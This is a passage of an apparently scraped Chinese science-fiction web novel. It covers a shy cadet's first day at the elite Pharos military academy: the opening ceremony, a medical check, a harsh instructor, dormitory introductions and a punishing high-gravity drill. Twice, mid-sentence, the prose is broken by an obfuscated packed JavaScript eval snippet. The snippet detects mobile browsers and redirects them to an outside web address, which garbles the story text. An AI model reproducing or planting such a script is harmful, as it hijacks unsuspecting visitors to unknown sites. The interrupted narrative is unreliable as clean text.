简维安用稍微欢快的语气接着道:“我第一次见到这么多人的时候表现比你好点,因为我的老师提前让我吃了镇定剂,”他对凌一点点头,“没错。但我的老师弄错了镇定剂的剂量,我多吃了整整两倍。我当时参加的是望舒星域的体能比赛,结果我在排队等待的时候睡着了——站着、睡着了。” 他说着忍不住乐起来,凌一也跟着笑。 后来呢? 凌一的眼睛替她问了出来。 简维安却不再继续往下说:“虽然我很想告诉你后来的事,但现在你得去你的队伍里了。”他不给凌一再次恐慌的机会,就快速道,“我就在你不远的地方,如果坚持不下去,就喊我,好吗?” 凌一很想说不好,不止是这个建议不好,是她这个人、是她的处境,什么都不好。 简维安又伸出手,凌一有点希望他能再次拉着自己,结果简维安只是轻抚了一下她的头顶。 温暖转瞬即逝,凌一失望地低下头: “好。” 雨幕消失,芜杂重新填满凌一的感官,她被简维安带到人最少的队列末尾。 简维安果然就呆在附近没有离开,他是负责接引新生的老师之一,凌一听见别的新生叫他长官。 凌一把简维安当成这可怕新环境里的救命稻草,不时就要偷看一眼,确定他在才安心。 时间在她的心无旁骛中过得飞快,飞舰到港的通报声响起时,凌一被吓了一跳。 巨大的飞舰在五万名新生前滑行至停止,上面的数十入口同时打开,人群骚动起来,又很快被各队的老师喝止。 凌一的光脑上强制弹出了她的座位序号和指引箭头,还有一行加粗的黑字: “欢迎加入法洛斯。” 4. 第 4 章 法洛斯作为第一军校,保密级别很高。它的开学典礼在校内举行,只有联盟指定的媒体才有资格在场,其他媒体只能在新生集合的区域来抓抓热点。 今年幸好有一个凌一,不然他们就只能和往年一样列举各星球录取人数和男女比例来引发网络骂战了。 法洛斯这个名字来自第一地球上的一座灯塔,在人类还在征服海洋的原始时代,法洛斯曾引领无数船只回归港口。 联盟将第一军校命名为“法洛斯”,寄托了深厚的期待:它将是人类文明在无垠黑暗中的灯塔,是守护未来的不灭光明。 接引飞舰通体黑色,其上绘有两个图案,被橄榄枝环绕的蔚蓝星环是联盟象征,利剑一般的银色灯塔代表法洛斯。 新生们按照指引依次走上飞舰、找到自己的座位坐好。 五万人核实完毕,飞舰合上舱门,媒体和来送人的新生亲友纷纷转身离开,第一太空港重归寂静。 回程路上,风行止从陆行器的透明顶部向上望去,天空中,暗金色的五边形星星正散发微光。 这就是法洛斯,由异能与科技创造的奇迹,一颗盘旋在新首都轨道上的人造星球。 * “光脑到校后统一发放,你们自己的都交上来。” 简维安挨个发放写有每个人名字的小盒子:“包括耳机在内,任何随身终端,都不能留。” “长官,”一个男生笑嘻嘻问,“第一年结业考试难不难啊?” 简维安微笑:“我就比你们早到学校一天,这些都不清楚。” 他这话掀起好大波澜,听见这句的不管离得多远,都把脖子伸过来: “您是我们的助教?!” “前线怎么样啊长官,联盟总说赢,赢了这么久怎么还在赢?” 联盟军校都有助教制度,每一年会抽调数量不等的前线军团回校,这些战士们会带回最新的战斗经验,和他们共处也能让新兵更快适应半军事化管理的生活。 对助教而言,这其实就是带薪休假,他们不用承担教学和训练任务,只要在需要的时候出手帮忙就可以了,剩下的时间全部自由支配。战士们长时间和虫族战斗很容易产生精神问题,定期回归正常世界是一种被证实有效的治疗方式。 法洛斯的助教们要更特殊一些: 他们或者他们所在军团的名字,是可以在游戏榜单上看到的。 能入榜的战士在外界千金也难见一面,而在这里,最普通的新生都可以近距离接触这些站在人类顶端的强者。 气氛热烈起来,简维安并没有故弄玄虚,很快给出答案: “我是‘深蓝’的队长。” 深蓝,战力未入榜,战场贡献榜排行95。 这是非常了不起的成绩。 和战力榜只有活人才能参与排名不同,战场贡献榜上,已死之人的名字并不会被抹去。 生命消逝,功绩永存。 这也导致贡献榜比战力榜更难登上,游戏已经降临207年了,各路天才豪杰数不胜数,越往后登榜的难度越大。深蓝顶着前人伟业还能排到95,一定是做出了非常了不起的成就。 具体是什么简维安就不能说了,大家也识趣地不多问,转而问起来更关心的事情: “长官,你在校的时候是哪个专业?” “第二年怎么选专业?” “挑队友有秘诀吗?” “据说挂一科就会直接被淘汰,是真的吗?” “求求透露一点内幕消息——” 简维安敷衍人是一把好手,他说:“指挥。”“考高点。”“看眼缘。”“不清楚你们这一届的情况。”“内幕啊,每个食堂的厨师不一样,建议都尝尝。” 看似说了,实则和没说一样。 从新首都星到法洛斯也就二十分钟,上飞舰很快,下飞舰麻烦一些,因为要进行全身检查,饰品、通讯装置、食物、随身物品统统没收,除了衣服什么都不能留。 不少人都被查出来有夹带,全都乖乖上交了。周围可是有不少带有杀伐气的老师,没有蠢货敢反抗。 “听说因为不算正式踏上法洛斯,这次违规不会有记录。” 排在凌一前面的两个女生在聊天。 “怪不得。” “军团战力榜的第八十四位蟒蛇的辅助位海默尔,就是因为入学时候成功瞒过检测装置把自己的光脑带进学校,被发现异能的潜力,二年级就参加联赛。” 凌一倒是记得排名靠后的蟒蛇,但是里面具体有谁就不清楚了。 她默默听着,不时看一眼简维安,确认他还在附近,凌一就放下心来。 聊天的两位越聊越开心,从蟒蛇说到前线,又说到了新生的男女比例。 “我刚专门留心看了,咱们这一届女生快有一半了吧?好夸张的比例。” “那是因为女生大多数都被集中到这边的缘故啦,我估计应该是六分之一。” “那也很多了,联盟为什么这么召集培养女性战士?那个传言不会是真的吧?” “什么?” “用女性当诱饵,来保证男战士的存活率。” 跟虫族厮杀两个世纪,人类对它们的了解越来越深,但还有很多关于虫族的未解之谜,其中最重要、最广为人知的一条就是: 无论在什么情况下,虫子都会优先杀死人类女性。 虫族在这一点上极端到什么程度呢? 在资源匮乏的情况下,它们只会选择男性战士的身体作为孵化幼虫的温床——这其实和死了没有两样,但它们连这种苟延残喘的机会都不会留给女性战士。 最被接受的猜测是虫族自己的雌性很珍贵,所以它们会更敌视女性,要优先除掉她们。 还有猜想这是虫族针对人类的灭绝计划,杀死女性比杀死男性能更快让人类后代减少——这个猜想后来被否定了,因为据考古学家考证,在第一纪元里,女性越少、地位越低,反而可以提高生育率。 第一纪元指人类仅占有第一地球的孤星时代;第二纪元从殖民外星开始,到游戏降临终结;第三纪元即是游戏纪元,至今共计207年。 虫族的性别杀戮偏向,让女性尽可能避免进入战场看起来是一种合理的选择,但梅洛尔不同意。 梅洛尔在联盟成立之初明确提出,面对更多危险并不意味着应该远离战场,相反,更多的磨砺意味着更强大的可能。 反对者很多,但梅洛尔是当时的人类首名(战力、贡献榜双榜第一),所以反对者闭上了嘴巴。 军校会选择女性、只选择最优秀最有可能活下来的女性,就是从那时候留下的传统。 这种传统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097098|195669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在最近二十年被打破,女性的入学条件越来越宽松,联盟几乎是报复性在招收女性战士。 这当然引起了猜疑和反对。 “还有白痴说这是联盟的女性灭绝计划,相信这种言论的人真该给我付精神损失费,我已经因为他们患上了非常严重的厌蠢症。” 谈话的两人笑起来,凌一听的一知半解,在z83上没有人会关心这些话题,大家想的最多的三件事是考入联盟当公务员、多缴纳几次血肉税,以及如何生个读心者赚笔大钱。 队伍逐渐走到尽头,众人纷纷为即将一睹法洛斯神秘真容兴奋起来。 最先映入眼帘的,是法洛斯的地标,三座约八十米高的泊松石雕像。 泊松石产自长安星域,是一种随着光线和角度变化色彩、可以在单位重量内储存一定量异能的珍稀矿石。 异能为雕刻的著名艺术家阮慕在法洛斯成立之初用这种昂贵的石料雕刻了两位最高指挥官的雕像赠予学校,后来他的女儿制作了第三任最高指挥官的雕像,和父亲的作品摆放在一起。 最左边是今川,他头发卷曲,皮肤黧黑,容貌普通,两眼平静地直视前方,左右手交握于胸前,这是他发动异能时标志性的动作。 中间的梅洛尔身材高挑,一头浅橙色的短发英姿飒爽,她嘴角噙着笑意,右手按住一块屏幕,上面是密密麻麻的字,左手则是握拳。 右侧的余怨是三人中最俊美的一个,他长长的白发编成辫子搭在左肩,薄唇轻抿,双目坚毅。 直面实物的震撼感是看多少次影像都无法比拟的,一群天之骄子真正安静下来,依次从三位人类守护者足下走向广场。 五万人全部站定,白石制成的高台上走上一个人,放大的投影分区域投在广场上,许多人呼吸急促,还有人没忍住小声喊出来: “校长!” 石闻,上将,异能为重力掌控,单人战力榜上最高排名第三十五,所在军团最高排名第二十,立下的功劳可以写一本书。 这位重伤后才远离战场的老将有一双浓密到遮盖住眼睛的眉毛,笑起来的时候就像是每个人邻居家会给路过小孩发糖的慈祥爷爷。 “人类永续。” 石闻行了一个礼。 下面震耳欲聋的回应声: “——联盟永存!” 石闻的发言简短有力,用不到两百字肯定了新生的优秀,并期待了众人未来的辉煌。 话到最后,石闻伸出右手,向上指: “我期待你们的名字出现在人类的天空。” 没有过多的煽情,石闻的语气也没有太多起伏,可是却听的人心潮澎湃。 场下安静了一秒,然后是山呼海啸的鼓掌欢呼,凌一也不由得感到心尖发烫。 成为战士,是每个联盟孩子最初的梦想。 音乐不知道从哪里飘扬出来,石闻带领全体唱起了法洛斯的校歌。凌一没有提前练习过,她看着不远处简维安的口型,磕磕绊绊地跟上。 副歌很好记,第二遍她也能一起唱了。 “……向前!联盟的锋芒! 为了家园,奔赴任何战场!” 空气中洋溢着希望、骄傲、壮志和豪情,在这样的氛围里,凌一不知何时将所有恐惧和不快都抛之脑后,和身边所有人一样,她露出了发自内心的笑容。 5. 第 5 章 一直到开学典礼结束、被机器剪了个超短发、又被带到医生面前坐下,凌一还是抑制不住笑容。 在z83星的时候她极少想到未来,偶尔为了应付学校的职业规划课程,凌一会写自己要成为一个光荣的农民,为前线将士提供足够的粮食。 这一刻,以上所有平凡的想法都飞走了,凌一觉得,自己说不定也能在这里成长为大人物。 能决定自己命运的大人物。 “喂喂,”医生好笑地喊她回神,“你第一次经历共鸣?” 凌一微笑:“什么共鸣?” “副校长苍梧的异能,”医生把一粒蓝色的药推给凌一,“他的能力在共鸣里可以算是最强一档的,一次能‘振奋’的人数几乎没有上限。每年都会来这么一遭,算是给新生的欢迎礼物。” 凌一眨眼,再眨眼,张开嘴巴把药吞下去。 她这才发现,自己甚至不记得是什么时候和简维安分开的。 医生更好笑了:“你怎么不问问这是什么药?” 凌一咽下去,很听话:“这是什么药?” 医生在面前的屏幕上打了两个勾:“避孕药。效果维持一年,无副作用,明年也是这时候发,如果你有怀孕计划记得提前申请。” 联盟鼓励生育,正面措施包括女性生产两次可以顶替一次血肉税、男性每抚育三个孩子长大成人可以顶替一次血肉税、每个孩子出生到十六岁的基础费用联盟全包;负面的手段就是大幅度提高避孕器械和药物的价格,并且让它们的效果不那么完美。 效果好、持久、副作用小的避孕药在联盟属于传说,人人都知道以联盟的科技水平这种药物肯定存在,但是谁也没见过。 凌一刚刚服用的药物在法洛斯之外能换来最新款的顶级陆行器,可惜法洛斯是一颗星球,转手倒卖校内物品的难度太大。 旁边传来一个女生略尖的嗓音:“男生也要吃吗?” 言下之意很直白,她觉得不公平。 体检——起码凌一被带到这里的时候是被这么告知的——是在一个类似体育场的空旷场地内,每个人面前都有一个医生,医生之间只有一面光屏隔开。 提问者的医生心平气和:“新生统一发放药物,男生自然也有,但这里可不止有学生。” 刚刚竖着的耳朵不止一双,这位医生的话音刚落,就听见不知从哪里传出来的“哦——”。 凌一面前的医生跟着开始解释,法洛斯是不禁止学生之间恋爱和发生关系的,最重要的原因嘛…… 是禁止了也没用。 一群身体机能处于巅峰的优秀青年人,在一颗封闭星球上训练、学习、合作和对抗,看对眼在所难免。 法洛斯并不是严格的军事化管理,学生虽然都是士兵,但一半时间过的还是校园生活。 第二个原因就是高战力的生育意愿本身就低于普通民众,要是把这唯一一个相对安逸、身边人也合适的恋爱阶段掐灭,那之后的可能性就更小了。 不过谈归谈,法洛斯还是不希望未来之星们在大好年华跑去奶孩子——也因为曾经真的发生过不止一次利用怀孕来逃避训练的事,所以避孕就变成了统一的强制手段。 依然是抽血那一套流程,凌一都已经麻木了,配合的动作非常熟练。 被拿走一些东西,医生又为她注射了不少,还介绍说这是各项传染病的疫苗、这是更好激发精神力的、这是更快在损伤后修复身体的、这是对开发异能有特殊作用的,这是温养神经的药物。 甚至还有一个预防经期不适的药物,联盟一直有女战士活跃在前线,这方面的问题早就被攻克了。 “都是长效药物,对你有好处,按理来说不会有问题,万一有什么不舒服及时通过光脑和我联系。” “顺便一提,我叫莫里斯,是你的医疗专员。”看上去有些年纪的医生冲凌一眨了下眼,“不出意外的话,我会陪你度过在法洛斯的五年。” 联盟是千亿人类的联盟,是不缺钱的联盟,而对于为自己培养顶级战力的法洛斯,联盟没有任何吝啬的理由。 学费全免,入学前会发放相当于五次血肉税金的巨款,入学期间每年有高额补贴,毕业后的薪水更是一个吓人的数字。 每一个新生有全新的设备和随身物品发放,每八人一个小队(也就是一个班),配备完整的医疗和营养支持小组,每三个小队组成一阵列,每一阵列配备专业的发展分析团队。 “搞定。”莫里斯打了最后一个勾,抬起头看仍在飘飘然的凌一,“恭喜你,正式加入法洛斯、成为光荣的联盟战士。” 因为游戏和虫族的存在,联盟中社会地位最高的就是前线战士,成为战士的好处说不完: 在最好的环境和最专业的帮助下提高实力成为人类顶尖高手;免税,能帮家人减少血肉税;工资高,还有许多隐形福利。 好处说完了,坏处只有一个。 容易死。 近五年前线将士的死亡率维持在11%,而这已经是游戏降临以来的最低值了。 (复制士兵不考虑死亡率,它们计算的是存活率,只要不为0就算是那一场指挥官计算得当、持家有方。) “谢谢,”凌一给了莫里斯医生一个大大的笑,“这个异能的效果……什么时候才能消退?” 莫里斯冲她身后挑了下眉。 包括凌一在内,一起体检的正好八个人,她们在各自的医生提醒下几乎是同时转头。 一个年约三十的女人刚走进门,她皮肤红棕,鼻宽唇厚,高挑健壮的身材把联盟军队的深灰色常服撑出威严的轮廓。 这位黑发黑眸的美人正用冰冷的目光打量在场的八人。 医生们收拾好东西从后门离开,她才裂开嘴角: “我叫艾伯尼,各位的班主任,你们可以称呼我为艾伯尼队长。” 很危险。 非常危险。 只是和艾伯尼打了个照面,凌一就有夺门而逃的冲动。 她小时候这么害怕过凌焰,长大后就没有了,结果现在又重温了儿时噩梦。 凌一才到新首都短短十天,就已经经历了前半生从未有过的尴尬和恐慌,现在则是迎来了恐惧。 原本放松的肌肉再次绷紧,凌一低下头,不愿面对艾伯尼刺人的目光。 “寒暄就免了,之后会有一年时间相互熟悉。” 艾伯尼依次看过每一个人。 “就先说一件事,女性在战场上的处境没有改变,虫族在任何对等条件下都会优先杀死女性,从游戏降临以来,女性在战场的死亡率高达63%。” 听她说话的八人安静得跟死了一样。 这些都是常识,但在开学第一天被人这么劈头盖脸强调一遍,感觉真是…… 不吉利。 “现在退学还来得及,回到和平的地方去吧,虽然不知道哪天可能就死了,但起码在死之前,你会获得安稳的人生。” 成为军人是每一个联盟公民最至高无上的荣耀,被如此告知长大的凌一从来没想过会从法洛斯老师的嘴里听到这么一番正文-治不正确的发言。 她身边有个紫发的女生喊报告,艾伯尼点了下头,紫发女生道: “队长,法洛斯入学后退学是有惩罚的。” 艾伯尼:“嗯,三十年内必须缴纳十五次血肉税、终身不得进入联盟体系、以及上缴定量生殖细胞——很可怕,但相信我,这比死亡好得多。 “对了,这只是第一年退学的情况,如果你通过了第一年的结业考,第二年退学的话法洛斯会视情况给你一个靠近前线战场的机会,大部分是后勤管理,五十年内不允许辞职,且在职期间有定量的生育指标。这也不算坏。” 紫发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097099|195669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生脸色苍白,其他人也好不到哪儿去,开学典礼上振奋共鸣带来的飘飘然在如此可怕的描述下怦然坠地,摔了个粉碎。 “考到这里很难,我知道,但任何你以为自己想要的东西都不会比生命更重要。钱、名声,还有所谓的实力,这一切——” “艾伯尼长官!” 凌一右侧的女生突然站起来,她梳着齐肩短发,脸庞、鼻子和嘴巴都很秀气,唯有一双眼睛又圆又大,此时因为激动直勾勾盯着艾伯尼,显得有些渗人。 “既然您这么畏惧死亡,为什么您还不退伍、还要留在法洛斯呢?!” 法洛斯的教官会比助教呆的久,但有一点是相同的,就是随时应召、随时都有可能奔赴前线。 艾伯尼一步就跨到这个女生面前,她比这女生高一个头,可以居高临下盯着这个马上快要哭出来的可怜人: “我可以给你一个答案,非常简单,那就是我比你强。 “我在阿瓦隆前线参加过47次中小型战役,5次大型战役,而我现在活着站在你们面前。”她环视一周,“知道我为什么要劝你们离开吗?因为我看得出来,你们都太弱小了—— “你们,会死的。” “你不知道!”艾伯尼面前的女生几乎是在尖叫,“我们还没有经过训练,我们可以做到——我们会活下去、甚至我们可以结束这场游戏!” 她那双过大的眼睛淌下眼泪,并非是因为恐惧,那里面燃烧的是最纯粹的怒火。 “我是伊谢尔星域的考生,是伊谢尔今年的第一名。” 伊谢尔星域是联盟八大星域中最年轻的一个,也是人数最少的一个,它目前只开发了两个可居住星球,而且还没有建设完全。 但这并不影响这位首名的优秀,事实上,她的天赋应该说是异常出色。 法洛斯的招生不是按照比例,而是定死的一条线,无论你来自哪里,只有满足标准,才有资格踏进这里的门槛。而且伊谢尔比不了首都,也比不上阿瓦隆和长安的富有,它所能提供的最好资源也是非常有限的。 “我的父亲来自望舒星域,母亲死于虫灾。我从小听过无数次虫灾的可怕,没有希望,没有获胜的可能,虫子一旦登陆,星球的毁灭就是无可挽回的必然。” “您身经百战,但我对死亡也不是一无所知。能来到这里,不是因为我不害怕死亡,而是我要为自己选择墓地。比起所谓安宁生活到不知道哪一天灭顶之灾就会突然降临,我宁可用自己的力量在前线挣扎、哪怕死亡!因为这是我自己选择的道路。” 尾声嘶哑,在这片不算开阔的场地回荡。 艾伯尼眯起眼睛,看向其他人: “你们的可笑理由呢?” 片刻的沉寂后,剩下的六人相继开口: “我没有这姐妹高尚,我只是知道我不会死的。” “我不打算死。” “我会竭尽全力。” “能说吗?我不想生孩子。” “任何事都有风险,和收益比起来,我愿意冒险。” “提前焦虑等于提前吃屎,队长,无意冒犯,我只是和你爱好不同。” 率先爆发的女生打破了艾伯尼营造的压抑氛围,为众人提供了缓冲的时间。在场的皆是精神力超群的天才,心志坚定,即便之前被【共鸣】所动摇,现在也能迅速镇定下来,恢复自持。 艾伯尼没有对玩笑话表达什么,而是直直看向还没有开口的凌一: “士兵,你的理由是什么?” 凌一给出了她唯一的答案: “我想活下去。” 艾伯尼并未对这个看似跑题了的答案做出评价,正如前面每个人的回答一样。 “记住你们自己说的话,”她环视一周,“牢牢记住,刻进心里、刻到骨头上——在接下来的训练里,在战场上,你们都会用得到的。 6. 第 6 章 “合宿?!” 艾伯尼看了眼面前崩溃程度不同的八人,面无表情: “没错,四人一间。你们的光脑都配备定位系统,外宿直接记过,处分超过三次开除。” 最开始发出尖锐暴鸣的女生: “但、但是,就连塔耳塔罗斯的囚犯住的都是单人间!” 塔耳塔罗斯星域是联盟处理放射性废料的垃圾处理中心,也顺带用于囚禁一些暂时不能扔到前线当炮灰的重刑犯。 艾伯尼:“你们是囚犯?” ……不是。 “那就没有单人间,”艾伯尼把人分成两组,给她们打开门,“我在外面等你们,十分钟后集合,不许迟到。” “我看过纪录片,”紫色头发的女生说,“游戏刚降临的时候,很多贸然上前线的士兵不习惯和队友之间过近的距离,因此发生过很多自相残杀的惨剧。” 这都是血泪经验。 科技把人与人之间距离拉得很远,就连结合生产下一代都能不接触、通过医疗中心完成。 游戏降临初期,虫族战场上,不习惯亲密相处的新兵们被迫挤在一个机舱、一个山洞里,每个人都很难忍受对方的口臭、头油还有和自己不同的大便时长,这种琐碎的不满在高压环境下很容易演变成一场可能导致全军覆没的灾难。 所以联盟最底层的穷人都有的独立空间,军人是没有的。 紫发在科普了一长串历史知识后也没有自我介绍的意思,转身进了自己的宿舍。 凌一在另一间,和她住在一起分别是一个头发眉毛皆白的高个子,一个瘦长脸丹凤眼,还有刚才因为合租最崩溃的女生。 住宿环境一目了然,四张床,四个架子,墙边有一个饮水设备。卫生间一个,洗浴间一个,洗衣烘干设备位于阳台,阳台景色就是另一栋宿舍楼。 光脑的盒子上写了名字,分别放在四张床上,凌一走过去拿起自己的,打开一看和风行止给她的最新款差不多,一片透明的圆形薄膜,可以覆盖在眼球上,两个米粒大小的爪样装置,放置于耳道内。 法洛斯一次性发放了三套衣物,和艾伯尼身上穿的一样,长袖长裤深灰色的作战常服,从内衣到护腕的尺寸都是量身定制。 凌一转动眼球适应了一下,这个光脑的页面十分简洁,通讯录里只有五个名字:风行止、凌焰,刚刚认识的莫里斯、艾伯尼、简维安。 前两个是风行止帮她填写的紧急联络人,名字旁边有小小的锁图案,显然不能直接通讯。后三个应该是法洛斯提前输入的校内通讯人员。 未读消息有三个,都是光脑激活后发来的。 光脑使用说明、校规,以及课表。 光脑可以全天候佩戴,不会对身体造成任何影响,在校期间卸下光脑超过十分钟学校会收到警报。 光脑自动开启定位和摄像功能,后者录制的影像只有在当事人涉嫌严重违规行为(如霸凌)和犯罪时才会被申请查阅,需要经过副校长级别的审批。 光脑在法洛斯上不连接星网,只连接军方内网,由于目前她们刚入学,开放的内容很少,且每天开放的时长由队长管理,也就是说艾伯尼开放权限,她们才能使用光脑。 校规太长来不及看,凌一扫了眼课表,发现最近的一门课在三个月后。 课表上前三个月只简单写了“军事训练”。 “我们不认识一下吗?” 瘦长脸大丹凤眼的女孩换好衣服,开口取得其他三人的注意力:“我叫法图,新首都人,异能是轨迹预判。这地方和我想的不太一样,不过无所谓,我会坚持到最后的。” 第二个开口的是队里最高也是最白的女生,她简单道:“阿乔阿,望舒星域狄瓦娜星,燃料催化。” 对合宿最绝望的女生双眼无神,等了两秒钟不见凌一开口,才慢吞吞道: “我叫第五名,姓第五,单名一个名,我的名字就是我妈我爸对我的期望,第五名是个很好的名次,我会一直以这个作为目标。我是阿瓦隆星域来的,异能是超限专注。” 凌一最后开口:“凌一,来自洛林星域z83星球,异能是弱点识别。” 联盟是不允许给异能分等级的,官方口径是“没有废物的异能,只有废物的择业指导老师”。 但这话也就是说说,平民自有一套划分贵贱的标准,这个标准从降临初期到现在经过了很多大的变动,比如祝福者一路从最顶级跌落凡间,又比如分析能力从被视作废物开始逐步逆袭,成了十分热门的异能。 当前流行的一套等级划分是这样: 最高级是空间系、读心者、识别者和复制异能,出现概率从小到大,只要觉醒这四类,未来肯定是高级人才,而且除非自愿,不用上战场,可以安逸一生。上限高到没边,下限也能保证一份体面高薪的工作,最高级没有争议。 接下来是屏蔽、治疗、分析三大类,其中包括的细项繁多,军用民用科研用三条路都能走,但异能和异能的差距也很大,同样的分析能力,有人年纪轻轻就能做出重要突破,有人只是对数字稍微敏感些。因此这类异能上限高,下限则有点不稳,总体不如最高级来的轻松稳妥。 第三等是军方常见的异能,共有九十余种,法图的轨迹预判、阿乔阿的燃料催化和凌一的弱点识别都在其中,除此之外还有生命共鸣、信号锚定等等。军方给的待遇好,无奈也得卷,而且伤亡率太高,因此只能屈居三等。 第四等异能可以概括为“全靠自己”,第五名的超限专注就属于此类,这种异能上限高,下限低,比如代谢加速这个常见能力,有的人可以凭此成为顶尖战士,有人只能当个大胃王吃播博主。 第五等能力是最常见的能力,力气增大、五感增强、控火控水、短时间浮空、舞蹈和乐器天赋、改变声音……这些异能上下限都低,除了少数在其他方面中彩票的幸运儿,这类异能者基本就是注定的底层。 五类之外还有特种异能,特种的含义其实是“极少”,这类异能每种在全人类里是按个计数的,比如最出名的【预言】,从游戏降临算起,一共只出现过两个。因为数量太太太少了,这种稀有异能不参与等级排序,只要出现,不管乍一看有没有用,都是异常珍贵。 异能这么重要,这一点有好有坏,好处在于人从出生起就能大致知道未来职业,节省了许多迷茫的功夫;坏处嘛——某星域出现过异能普通的新生儿们频频夭折的怪事。 联盟在异能平等方面一直都有努力,但收效甚微,目前只有很少的低薪工作可以做到无异能要求,其他的只要稍微好一点的工作,都会被相关的异能者垄断。 异能也不是万能的,除了特种异能外,其他大部分人的异能只是个门槛,进了门还得卷,才能跑在同赛道选手的前面。 初来乍到,又有时间限制,四人没再多说就出了门。法图看凌一的眼神很是意味深长,但她没有说出口,凌一就权当不知道。 集合、训练,这是联盟每个孩子从六岁起就非常熟悉的内容。 人类正处于一场持续了两个世纪之久的战争中,军事化渗透在每个人的生活里。 曾经的训练在脑海里过了一遍,凌一毫无防备地跟上队伍。 艾伯尼带队来到最近的一个编号为n的训练场。法洛斯不缺地,训练场都大的没边。 训练场n被用蓝色喷漆划分为一块块正方形,每个里面是从0到10的不同数字。 已经有人在里面了,凌一远远看见她们的站姿有些奇怪,一个个表情狰狞,脊背略有佝偻。 艾伯尼率先走进了写有2.5的方格,她的步伐一点也没有变化,这导致了她身后的凌一没有丝毫心理准备。 左脚刚踏入方块内,凌一全身上下就出现了诡异的负重感,她的呼吸滞涩,心跳加速,就连眼皮都重若千斤。 啪。 凌一直接五体投地。 响亮的声音瞬间吸引来无数目光,凌一咬牙想把自己撑起来,结果一个没撑稳,啪又摔回去。 “2.5倍重力就成这样了,”艾伯尼讽刺的冷笑在头上响起,“还起得来吗?” 训练场里安静的落针可闻,凌一看不到,但能感受到无数目光尖刺一样扎在自己的背后。 法洛斯的入学体能测试是在1.8倍重力环境下进行的,2.5倍会让新生很狼狈,但像凌一这样绝对是独一份。 艾伯尼等了片刻,看凌一满头满脸的汗,知道她暂时起不来,抬头不耐烦冲其他人道: “全体跑步,”她瞥了眼地上的凌一,“跑到她站起来为止。” 命令就是命令,尽管能听出来不愿,跑步声还是响起,地面如实把震动传递给凌一,她死死咬住牙,才没有让耻辱的眼泪流出来。 艾伯尼蹲下身,伸手抬起凌一的下巴: “之后会比现在难受一万倍,你还不放弃吗?” 凌一的眼前出现黑蒙,喉咙涌上血腥味,连毛孔都在窒息,她都奇怪自己为什么还没有晕过去,可能跟莫里斯刚刚注射到她体内的药物有关。 她必须清醒着,忍受最后一点尊严被粉碎的痛苦。 “不。” 她用气声说。 艾伯尼可能是笑了一下——凌一已经看不清了,她只感觉到艾伯尼把自己 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“哦。”艾伯尼点点头,“祝你成功。” “你承担不起让她破损的代价,她是——” 艾伯尼揪住莫里斯的领子,直接把人从地面提起来,她低声咆哮: “她是什么?你们这群畜生又一个拯救人类的计划产物?我告诉你,她现在是我的兵,如果你敢对她动手脚,莫里斯,我发誓,我会在去前线领受死刑前把你挫骨扬灰。” 旁边空气中出现一道裂痕,里面有火热而贪婪的吐息,还有压抑着的爆裂咆哮。 莫里斯简直难以置信: “你这坨屎是怎么成为凌一的长官的?你跟我开玩笑呢?” 艾伯尼给了她一个露出满嘴牙齿的笑: “我接受的命令就是带好我的兵,除此之外,我不关心。” 艾伯尼轻蔑地松开手,莫里斯站在原地表情阴晴不定了好一阵,才下定某种决心: “我明白你的立场了,在不损伤凌一身体的前提下,我会尽最大努力配合。” 艾伯尼没有再说什么,她转过身,和焦虑的莫里斯一起看向还在地上挣扎的凌一。 她一次次试着站起来,又一次次被重量压下去,每一次倒下去的时候都让人觉得她再也不会起来了,但,她总是会再次起身。 训练场上,所有人的目光都被这里吸引。 看似弱小的少女有一个钢铁的心,在那样多的失败之后,她依然选择了再次起身。 聚集在她身上的目光渐渐从鄙夷轻视中,生出些许惊叹。 不知道过了多久,就在莫里斯终于忍不住要冲上去的前一秒,满身是汗、眼球充血的凌一半跪在地上,浑身发抖,但就是没有倒下去。 队友们也已经累得半死,还不敢停下脚步,只能一边跑一边颤巍巍喊加油。 凌一根本听不到,她的意识已经模糊了,身体的疼痛和负担反而减轻,她将摊开的五指死死抠进地面,手背青筋暴起,用尽最后一点力气,将弯曲的腿一点点、一点点伸直。 她的身形和好看扯不上关系,像一只长残了的紫瓜,但没有人可以否认,她的确站起来了。 艾伯尼大步走过去,正好接住歪倒的凌一,莫里斯晚了一步,直接把人抢到怀里。 “停下。” 听到艾伯尼的话,剩下七人齐齐倒地。 没有去管莫里斯在对凌一做什么,艾伯尼眉头紧锁走过去,踢一下这个、踹一下那个,用十分嫌弃的语气说: “新生真是一年不如一年,看看这都烂成什么样了。” 她摇头。 “首名,”她跨过大眼睛,“天才、佼佼者……我怎么就只看见一群废物?” 七个人说不出话,但都用眼神表示出了对她的痛恨。 艾伯尼冷嘲热讽把她们说的一文不值,喷爽了后才喊解散,路过刚醒来的凌一,她大声加了一句: “受不了就赶紧滚蛋!” 莫里斯额头青筋直冒,但好歹忍住了一言不发,她收回注射用的器械,对凌一说了句晚上见,就跟在艾伯尼身后离开。 凌一不仅醒了,甚至还能站起来了,她疑惑地低头看,果然,地面上的2.5不知什么时候变成了1.7。 八个人带着一身疼痛和疲惫沿着光脑指引的方向前往食堂,其中六个很有默契地绕开凌一,只有法图落在最后,她走到凌一身边,直截了当地问: “你是不是没有接受过训练?” 7. 第 7 章 凌一沉默。 这个态度已经足够法图猜出答案了。 